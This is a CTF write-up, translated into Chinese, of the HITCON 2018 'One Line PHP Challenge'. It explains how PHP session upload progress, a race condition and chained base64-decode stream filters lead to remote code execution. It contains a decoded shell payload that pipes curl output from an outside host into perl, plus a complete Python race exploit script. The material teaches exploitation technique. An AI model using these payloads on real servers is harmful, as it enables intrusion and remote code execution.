HITCON CTF 2018 - 一行PHP挑战:利用会话上传进度与过滤器链实现RCE

本文详细解析了HITCON CTF 2018中的“一行PHP挑战”,通过PHP会话上传进度功能、竞争条件与多级Base64过滤器链,实现在严格限制下的远程代码执行,深入探讨技术细节与利用方法。

HITCON CTF 2018 - One Line PHP Challenge

每年HITCON CTF中,我都会准备至少一个PHP漏洞利用挑战,其源代码非常直接、简短且易于审查,但难以利用!我已将所有挑战放在这个GitHub仓库中,您可以查看,以下是一些列表:P

  • 2017 Baby^H Master PHP 2017 (0/1541 解决)

    • 使用Phar协议反序列化恶意对象
    • 硬编码匿名函数名称 \x00lambda_%d
    • 在Apache Pre-fork模式下破坏共享VARIABLE状态
  • 2017 BabyFirst Revenge v2 (8/1541 解决)

    • 在4字节内进行命令注入
  • 2016 BabyTrick (24/1024 解决)

    • 在反序列化中创建意外对象且不调用__wakeup()
    • MySQL UTF-8排序规则 - SELECT ‘Ä’=‘a’ 为True
  • 2015 Babyfirst (33/969 解决)

    • PHP正则表达式中的多行匹配
    • 无符号命令注入
  • 2015 Use-After-FLEE (1/969 解决)

    • 绕过disable_functions和open_basedir
    • 编写PHP use-after-free漏洞利用
    • 绕过全保护(DEP / ASLR / PIE / FULL RELRO)
    • 在unserialize()中利用SplDoublyLinkedList的另一个Use After Free漏洞

今年,我设计了另一个挑战,它是我所有挑战中最短的一个 - 一行PHP挑战!(还有另一个PHP代码审查挑战叫做Baby Cake,您可能会感兴趣!)在比赛期间,只有3支队伍(共1816支)解决了它。这个挑战展示了PHP如何被“挤压”。初始想法来自@chtg57的PHP错误报告。由于PHP中默认启用了session.upload_progress,因此您可以控制PHP SESSION文件中的部分内容!基于这个特性,我设计了这个挑战!

挑战很简单,只有一行代码,并告诉您它在Ubuntu 18.04 + PHP7.2 + Apache的默认安装下运行。以下是完整的源代码:

1
2
<?php
($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

利用会话上传进度

通过上传进度特性,尽管您可以控制SESSION文件中的部分内容,但仍需克服几个障碍!

包含悲剧

在现代PHP配置中,allow_url_include始终为Off,因此RFI(远程文件包含)是不可能的,并且由于新版Apache和PHP的加固,也无法包含LFI利用中的常见路径,如/proc/self/environs或/var/log/apache2/access.log。

也没有地方可以泄漏PHP上传临时文件名,因此LFI WITH PHPINFO() ASSISTANCE也是不可能的 :(

会话悲剧

PHP检查值session.auto_start或函数session_start()以了解是否需要处理当前请求的会话。不幸的是,session.auto_start的默认值为Off。然而,有趣的是,如果您在multipart POST数据中提供PHP_SESSION_UPLOAD_PROGRESS,PHP将为您启用会话 :P

1
2
3
4
5
6
7
8
9
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'  -F 'file=@/etc/passwd'
$ ls -a /var/lib/php/sessions/
. .. sess_iamorange

清理悲剧

尽管互联网上的大多数教程建议您将session.upload_progress.cleanup设置为Off以进行调试,但PHP中session.upload_progress.cleanup的默认值仍为On。这意味着您的会话中的上传进度将尽快被清理!

这里我们使用竞争条件来捕获我们的数据! (另一个想法是上传一个大文件以保持进度)

前缀悲剧

好的,现在我们可以控制远程服务器上的某些数据,但最后一个悲剧是前缀。由于session.upload_progress.prefix的默认设置,我们的SESSION文件将以一个烦人的前缀upload_progress_开头!例如:

1
upload_progress_<?php ...

为了匹配@<?php,我们结合多个PHP流过滤器来绕过那个烦人的前缀。例如:

1
php://filter/[FILTER_A]/.../resource=/var/lib/php/session/sess...

在PHP中,base64会忽略无效字符。因此,我们结合多个convert.base64-decode过滤器,对于有效载荷VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy,SESSION文件看起来像:

1
upload_progress_VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy

P.s. 我们添加ZZ作为填充以适应之前的垃圾

在第一次convert.base64-decode之后,有效载荷将看起来像:

1
��hi�k� ޲�YUUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2

第二次,PHP将解码hikYUU…为:

1
�) QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v

第三次convert.base64-decode,它变成我们的shell有效载荷:

1
@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

好的,通过结合上述技术(会话上传进度 + 竞争条件 + PHP包装器),我们可以获取shell! 以下是最终的利用代码!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import threading
import requests

URL = 'http://192.168.0.100/index.php'
sessid = 'iamorange'

def write(session):
    while True:
        f = {
            'file': ('orange.txt', 'ZZ' + 'A' * 1024 * 1024, 'text/plain')
        }
        d = {
            'PHP_SESSION_UPLOAD_PROGRESS': 'aaa<?php system("id");?>'
        }
        c = {
            'PHPSESSID': sessid
        }
        session.post(URL, data=d, files=f, cookies=c)

def read(session):
    while True:
        c = {
            'PHPSESSID': sessid
        }
        r = session.get(URL + '?orange=/var/lib/php/sessions/sess_' + sessid, cookies=c)
        if 'orange.txt' in r.text:
            print(r.text)
            break

with requests.Session() as session:
    writer = threading.Thread(target=write, args=(session,))
    reader = threading.Thread(target=read, args=(session,))
    writer.start()
    reader.start()
    writer.join()
    reader.join()
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计